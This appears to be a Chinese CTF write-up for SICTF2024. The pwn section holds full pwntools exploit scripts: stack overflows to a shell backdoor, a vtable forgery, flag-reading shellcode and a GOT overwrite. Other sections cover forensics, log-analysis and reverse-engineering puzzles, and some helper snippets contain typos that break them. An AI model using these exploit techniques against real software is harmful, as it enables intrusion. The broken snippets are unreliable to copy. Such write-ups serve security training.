SICTF2024

Forensics

Misc

真💨签到

  • 加密zip文件包最后一串数字,5456545454565458414259555854585458434152595958415a435959595558563d
  • zip解压后一个音频一个图片
    • 音频用Audacity 注意音频名称
    • 用steghide解码 steghide extract -sf steg.jpg

New Year’s regret

  • 密码是2024SICTF

  • 01画图(赛博厨子),汉信码,以及压缩包末尾发现字符串,尝试hex编码(考虑逆向输入)

    1
    2
    3
    s='43637d135333'
    print(s[::-1])
    #333531d73634-->351×64

    画图:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from PIL import Image
    MAX1=351
    MAX2=64
    pic = Image.new("RGB",(MAX1,MAX2))
    str = "01码"
    i = 0
    for y in range(0,MAX2):
    for x in range(0,MAX1):
    if(str[i]=='1'):
    pic.putpixel([x,y],(0,0,0))
    else:
    pic.putpixel([x,y],(255,255,255))
    i=i+1
    pic.show()
    pic.save("flag.png")

    image-20240226121035339

    • music-sheet-cipher解码得一部分:

    image-20240226121133988

    • 010另一文件有压缩包和png图片,kali分离
      压缩包解压base64循环

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      import re
      from bases64 import b64ecode

      def process_data(data):
      try:
      data=re.sub(r'flag|[⼀-龥]','',data)
      decode_data=b64ecode(data)
      return decode_data.decode(),True
      except:
      return data.False

      with open('flag_new.txt','r',encoding='ute-8')as file:
      date = file.read()
      iterations = 0

      while True:
      data,can_decode=process_data(data)
      iterations+=1

      if not can_decode:
      print("result",data)
      print("rotatin",iterations)
      braek
    • 战双帕米什武器星级,,,

      1
      44664654464566654465645644544664654654644546445446646565444454544664654664544545646454544454466465465645644

      考虑摩斯密码,4为”.”,6”-“,5为空格

      三部分拼起来

GeekChallege

神秘的流量

题⽬描述:

flag值:SICTF{b50936c7-b60d-411e-a91f-304937164b9c}

https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py

https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py

使⽤ cs-extract-key.py ⼯具 可以得到 AES key : HMAC key

然后⽤ cs-parse-http-traffic.py 就可以拿到明⽂

参考资料:

https://fdlucifer.github.io/2022/01/05/decrypt-cs-traffic/

WHO?WHO?WHO?

1、archpr爆破密码为qweqwe

2、使⽤零宽后得到⼀串rabbit解密,且密码就是问题的答案,密码为shumu

3、根据⽂件题⽬提⽰使⽤DNA解密得到flag

日志分析 1

SICTF{黑客所接入的IP地址|黑客所创建的用户名|黑客所加入的用户组|黑客创建的计划名|创建计划任务的对象后门所处的路径(小写盘符……,后门路径精确到****.exe)|黑客远程登陆RDP的账户}
后门路径精确到****.exe

直接使用windows工具筛查

{192.168.222.200|attack$|Administrators|callback|c:\windows\system32\windows_at*

tack.exe|ADOFLMB\attack$}

日志分析2

SICTF{攻击者的IP地址|攻击者得到Web应⽤后台管理权限的⽅法|攻击者在SQL注⼊攻击过程中使⽤

的⾃动化⼯具名称|⼯具版本号|攻击者使⽤的Webshell连接⼯具(中⽂名)|⼯具版本号}

flag值:SICTF{10.11.35.95|暴⼒破解|sqlmap|1.2.4.18|蚁剑|2.1}

PWN

Signin-pwn

read之后调⽤了strlen,就会把rdi设置为bug的地址,所以只需要buf以/bin/sh开头,然后直接改返回地址到backdoor的system那⾥即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

p=process('./pwn')

#gdb.attach(p)
backdoor=0x4011f4

p.recvuntil(b'length:')
p.sendline(str(0x100).encode())
p.recvuntil(b'command:')
payload = flat([
b'/bin/sh\0x00',
b'a'*0x50,
backdoor
])
p.send(payload)

p.interactive()

Eeeeasy Cpp

思路是泄露堆地址然后伪造vtable,把虚表指针指向伪造的vtable再call⼀下完成利⽤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

1 from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 def get(name, passwd):
6 p.recvuntil(b'>> ')
7 p.sendline(b'G')
8 p.recvuntil(b'name: ')
9 p.sendline(name)
10 p.recvuntil(b'password: ')
11 p.sendline(passwd)
12
13 def show():
14 p.recvuntil(b'>> ')
15 p.sendline(b'P')
1617 #p = process('./EeeeasyCpp')
18 p = remote('xxxxxx', xxxx)
19 # set offset to 0x40 to check if the offset is correct by comparing with vtable
20 offset = 0x48
21 try:
22 p.recvuntil(b'gift: ')
23 main = int(p.recvuntil(b'\n')[:-1], 16)
24 base = main - 0x2650
25 success('base addr -> {}'.format(hex(base)))
26 backdoor = base + 0x22e0
27 vtable = base + 0x4d48
28
29 info('vtable -> {}'.format(hex(vtable)))
30 #gdb.attach(p)
31 get(
32 b'123',
33 flat([
34 b'a' * 0x10,
35 0, 0x21,
36 vtable, bytes([offset])
37 ])
38 )
39 show()
40 p.recvuntil(b'Name: ')
41 ptr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
42 # heap
43 success('ptr -> {}'.format(hex(ptr)))
44 if ptr == 0:
45 raise Exception('name addr is 0')
46 # rollback
47 name_addr = ptr - 0x38
48 get(
49 flat([name_addr]),
50 flat([0x21])
51 )
52 # if name is 123, rollback success
53 # show()
54 fake_vtable = name_addr
55 get(
56 flat([backdoor, backdoor]), # check by setting backdoor to main
57 flat([
58 b'a' * 0x10,
59 0, 0x21,
60 fake_vtable, name_addr
61 ])
62 )
63 # get or show will trigger the backdoor
64 show()
65 p.interactive()
66
67 except Exception as e:
68 print("error: ", e)
69 p.close()

Bug Zapper

1
2
3
4
5
6
7
8
9
您是否经常被bug烦恼?您是否想要⼀款安全,⾼效,没有任何额外副产出的杀⾍器?*

*请选择我们!我们是值得您信赖的杀⾍专家!⽆论什么bug,我们都能⽴即甄别并处理!我们Bug*

*Zapper郑重承诺,绝不放过任何⼀个shellcode!*

*Bug Zapper灭⾍剂,⼀扫就灭,让bug⽆处可逃!*

*Bug Zapper灭⾍剂,让你写的开⼼,⽤的放⼼。

输⼊⻓度不⼤于0x10,使得syscall的时候调⽤号在0x55(creat)到0x65(ptrace)

然后需要在前三个参数都是0的情况下,syscall后返回值为0,有3个调⽤可以符合

分别是fchmod(0x5b), gettimeofday(0x60),ptrace(0x65)

也就是分别对应了输⼊⻓度为6,11,16字节。(注意ptrace在动调时是返回-1的)

我们直接使⽤ptrace打(这题其实11字节就够了,也就是gettimeofday就能过,调试也相对⽅便),⻓度不够就把第⼆段payload给read到0x1919820后⾯,然后就是⼀波orw,不过要注意,这⾥调⽤execve会失败,直接⽤pwntools的shellcraft应该是不⾏的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 p = process('./bugzapper')
6
7 '''
8 add rax, 0x10 ; rax = 0x1919820
9 mov rsi, rax
10 mov edx, 0x80
11 xor eax, eax
12 syscall
13 '''
14 payload = b'H\x83\xc0\x10H\x89\xc6\xba\x80\x00\x00\x001\xc0\x0f\x05'
15 # assert len(payload) == 0x10
16
17 p.recv()
18 p.send(payload)
19
20 '''
21 mov eax, 0x67616c66
22 mov [esi - 0x10], rax
23
24 // 这⾥是确认 "flag" 已经写⼊了 0x1919810
25 // write(1, 0x1919810, 0x20)
26 mov edi, 1
27 sub esi, 0x10 ; rsi = 0x1919810
28 mov edx, 0x20
29 mov eax, 0x1
30 syscall
31
32 // open("flag", 0, 0)
33 mov edi, esi
34 xor esi, esi
35 xor edx, edx
36 mov eax, 2
37 syscall
38
39 // read(3, 0x1919870, 0x40)
40 mov esi, 0x1919870
41 mov edi, 3
42 mov edx, 0x40
43 mov eax, 0
44 syscall
45
46 // write(1, 0x1919870, 0x40)
47 mov edi, 1
48 mov eax, 1
49 syscall
50
51 // exit(0)
52 mov edi, 0
53 mov eax, 0x3c
54 syscall
55 '''
56 payload = b'\xb8flaggH\x89F\xf0\xbf\x01\x00\x00\x00\x83\xee\x10\xba\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x89\xf71\xf61\xd2\xb8\x02\x00\x00\x00\x0f\x05\xbep\x98\x91\x01\xbf\x03\x00\x00\x00\xba@\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xbf\x00\x00\x00\x00\xb8<\x00\x00\x00\x0f\x05'
57 p.send(payload)
58
59 p.interactive()

Bug Zapper Pro+

出题⼈:椰奶

题⽬描述:感谢您⼀直以来的⽀持,所以为了回馈⽼⽤⼾,我们推出了这款全新的Bug zapper pro

+,有任何问题欢迎向我们反馈

通过异或等构造⼀个syscall出来,然后为了⽅便直接把rdx设置为114514xxx那玩意,所以跑脚本建议

后⾯的payload在send前最好pause⼀下,⼀起发的话有可能会由于read⻓度太⼤导致后⾯的payload

在⼀开始也被读进去(

overflow

栈溢出修改string的引⽤为stack_chk的got地址,从⽽修改got表为后⻔地址,同时覆盖canary触发后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1 from pwn import *

2 context.log_level = 'debug'

3

4 *#p = process('./overflow')*

5 p = remote("xxxxxxxx", xxxxx)

6

7 backdoor = 0x4011d0

8 chk_got = 0x404018

9

10 *#gdb.attach(p)*

11 p.recvuntil(b'?\n')

12 payload = p64(backdoor) + b'b' * 0xa0 + p64(chk_got)

13 p.sendline(payload.ljust(0x150, b'a'))

14

15 p.interactive()

What?!only libc?!

TalBoom

出题⼈:TokameinE

题⽬描述:我们从来奉⾏没有政策就是我们的政策,所以我们打算什么也不做,任由恐怖分⼦们闹吧。(本题有回显,连接后请稍作等待)*

flag:Toka{Who_has_four_legs_in_the_morning_two_legs_at_noon_and_three_legs_in_theevening?}本题不公布任何附件。

看了⼀下⼤哥们的解法,⾮常优秀,所以在此就不公开预期解 exp 了,主要聊聊⾮预期的⼀个好办

法,来⾃Kalise师傅。

题⽬每次nc 都会构建不同的⼆进制,⽽每个⼆进制都有⼀个明显的栈溢出漏洞点,如果能够让程序到

达,则可以直接ROP完成利⽤。但是问题在于,到达的输⼊每次都是随机的,因此预期解是需要通过

⾃动化的⼿段动态分析程序来解出输⼊。但是Kalise师傅的⽅法则很简单,由于程序是类似于 Switch 的分发⽅式,所以每个⼆进制⽂件实际上

之只有那个strcmp是不同的,⽽偏移则全部相同,那么只要对着某个分⽀强⾏爆破,在预期的时间内

就可以撞出那个栈溢出,⽽只需要提取特定地址的字符串就能拿到该分⽀的输⼊,所以瞄着打就⾏

了。据该师傅所说,15分钟左右即可完成爆破。

这⾥就不放这位师傅的 exp 了

Reverse

Baby_c++

咱也不知道怎么回事,打开IDA,查找字符串就看到了

预期是找到flag

1
2
3
flag = [83,73,67,84,70,123,52,101,52,55,52,98,56,97,45,57,100,102,54,45,52,53,52,98,45,57,101,97,54,45,100,52,102,53,101,51,55,99,100,53,49,102,125]
for i in flag:
print(chr(flag),end='')

Ez_pyc

pyc编译

(真服了,一直想着是走迷宫,,,,这么明显都没看出来是数独

image-20240226125713782

将解转为16进制

输⼊内容:

6320870e5352469014668584c7f3229334e22689b45a64f926b5c

得到flag

SweetTofu

远程动态调试可以,,我在想。虚拟机好啊。。

virus-?n?lys1s

#校验php,strpos()因为php版本太低了,web佬绕过

  • esp定律脱壳
  • 第二问记得挂代理(google(断
  • 动调
  • 启动子进程,类似于SMC的⼿段,来解密⽂件并且修复⽂件头
  • 行为记录,wyt.exe,翻VT信息
  • 直接微步情报(动态IP

https://s.threatbook.com/report/file/797c253df096431e69f1aa84f0010f248384fe437cda4bf8df916c48fbb7984f

Close me

*⻥~,你能关的掉吗~~(虽然不是病毒,不过如果要运⾏的话还是建议虚拟机吧*^_^)

请找到能够正常关闭的条件(即不通过直接终⽌进程的⽅式或者程序崩溃导致的关闭)

法一:

⾸先翻到下⾯发现有⼀个xor,解密⼀下看看得到⼀段hint